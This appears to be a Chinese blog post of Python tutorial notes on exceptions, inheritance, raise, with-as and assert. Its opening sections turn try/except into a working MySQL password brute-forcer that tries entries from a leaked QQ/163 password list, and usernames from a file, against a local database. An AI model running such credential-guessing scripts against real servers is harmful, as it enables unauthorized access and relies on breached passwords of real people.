数据库密码破解与异常

异常

安装了sql数据库,如何测试密码,利用异常,这是第一步。

import  pymysql
def  CheckPassword(passwordstr):
    try:
        db=pymysql.connect("127.0.0.1","root",passwordstr)
        db.close()
        print("密码正确",passwordstr)
    except:
        print("密码错误",passwordstr)

CheckPassword("111111")

爆破Mysql工具

整个逻辑跟之前差不多,先写入一个输入密码的chekpassword,那用什么输入,用之前qq的密码本,一个个试。

import pymysql


def  CheckPassword(passwordstr):
    try:
        db=pymysql.connect("127.0.0.1","root",passwordstr)
        db.close()
        print("密码正确",passwordstr)
        return  True
    except:
        print("密码错误",passwordstr)
        return False

passwordfilepath=r"Z:\D\第一阶段视频\20170531\NBdata\qqAnd163Password.txt"
passwordfile=open(passwordfilepath,"r")
while True:
    line=passwordfile.readline()
    if not line:
        break

    linelist=line.split(" # ")
    password=linelist[0]
    if  CheckPassword(  password):
        break
    else:
        pass

passwordfile.close()

爆破账户密码

多了一个isOK来判断当出现正确密码时候,退出显示正确密码。

import pymysql


def  CheckPassword(user,passwordstr):
    try:
        db=pymysql.connect("127.0.0.1",user,passwordstr)
        db.close()
        print("密码正确",user,passwordstr)
        return  True
    except:
        print("密码错误",user,passwordstr)
        return False

passwordfilepath=r"Z:\D\第一阶段视频\20170531\NBdata\qqAnd163Password.txt"
passwordfile=open(passwordfilepath,"r")
userfilepath=r"C:\Users\Tsinghua-yincheng\Desktop\YinchengDay6\user1.txt"
userfile=open(userfilepath,"r")
while True:
    userline=userfile.readline()
    if  not userline:
        break

    userline = userline[:-1]  # 去除换行符
    #print(userline)
    isOK=False
    while True:
        line = passwordfile.readline()
        if not line:
            break

        linelist = line.split(" # ")
        password = linelist[0]
        if CheckPassword(userline,password):
            isOK=True
            break
        else:
            pass
    if isOK:
        break

userfile.close()
passwordfile.close()

详细分析异常

异常有很多种:

try:
    file=open(r"C:\Users\Tsinghua-yincheng\Desktop\YinchengDay6\Test.txt","r")
    mystr=file.readline()#读取一行
    print(mystr)
    num=eval(mystr)
    print(num/0)

except FileNotFoundError:
    print("文件不存在")
except SyntaxError:
    print("转化异常")
except ZeroDivisionError:
    print("整除异常")
except: #其他异常之外的所有异常
    print("其他异常")
else:
    print("没有异常执行这一句")
finally:
    print("有没有异常老子都要执行")
    file.close()

#1.软件稳定性,把用户当作SB,处理用户不规则的输入
#2.尝试,密码破解,

继承

可以看出王思聪继承王健林的钱跟work了

class 王健林:
    def __init__(self):
        self.name="王健林"
        self.mystr="先定一个小目标,赚它一个一亿"
        self.money=200000000000
    def work(self):
        print("工作挣钱")

class 王思聪(王健林): #继承 (王健林)的money
    def work(self):
        print("花钱夜夜做新郎")

xiaowang=王思聪()
print(xiaowang.money)
print(xiaowang.work())

再看一个例子:我们可以发现子类继承的类跟父类重复了,会覆盖。

class 王健林:
    def __init__(self):
        self.name="王健林"
        self.mystr="先定一个小目标,赚它一个一亿"
        self.money=200000000000
        #self.__wife
    def work(self):
        print("工作挣钱")

class 王思聪(王健林): #继承 (王健林)的money
    def __init__(self):
        王健林.__init__(self) #父类初始化
        self.name="王思聪"
    def work(self):
        print("花钱夜夜做新郎")

#儿子类继承所有的非私有方法与属性
#儿子的属性与方法可以覆盖父亲类

xiaowang=王思聪()
print(xiaowang.money)
print(xiaowang.name)
print(xiaowang.work())

raise自定义异常

我们一旦出错这里会显示error,不写的话会出现raise的报错“11113”,

class Box:
    def  __init__(self,x,y,z):
        if  x<5  or x>10:
            raise "11113" #提示出错,
        self.x=x
        self.y=y
        self.z=z
try:
    b1=Box(1,2,3)
except TypeError: #抓住错误,但是无法区分错误,
    print("error")

with as的使用

with as的使用是自动关闭,我们逐行读取消耗内存很少,怎么关闭呢,就得用到with as了



#逐行读取,消耗内存很少,没有关闭
#for  line  in open(r"C:\Users\Tsinghua-yincheng\Desktop\YinchengDay6\dnfdb.txt","r",errors="ignore"):
#    print(line)

#with as 自动关闭
with open(r"C:\Users\Tsinghua-yincheng\Desktop\YinchengDay6\dnfdb.txt","r",errors="ignore") as file:
    for line  in  file:
        print(line)


assert

出了错会直接报我们assert里的错误,若是没遇到错误则会正常运行。


def  add(num1,num2):
    assert (type(num1)==type(num2)),"你妹的不会判断类型"
    print(num1+num2)
    return num1+num2
#print(add(1,2))
#print(add("1","1"))
print(add(12,"1"))
'''
def  div  (num,divnum):
    assert (divnum!=0),"你妹的脑子进水了传0干毛线"
    return num/divnum
print(div(10,10))

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

青灯有味是儿时

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值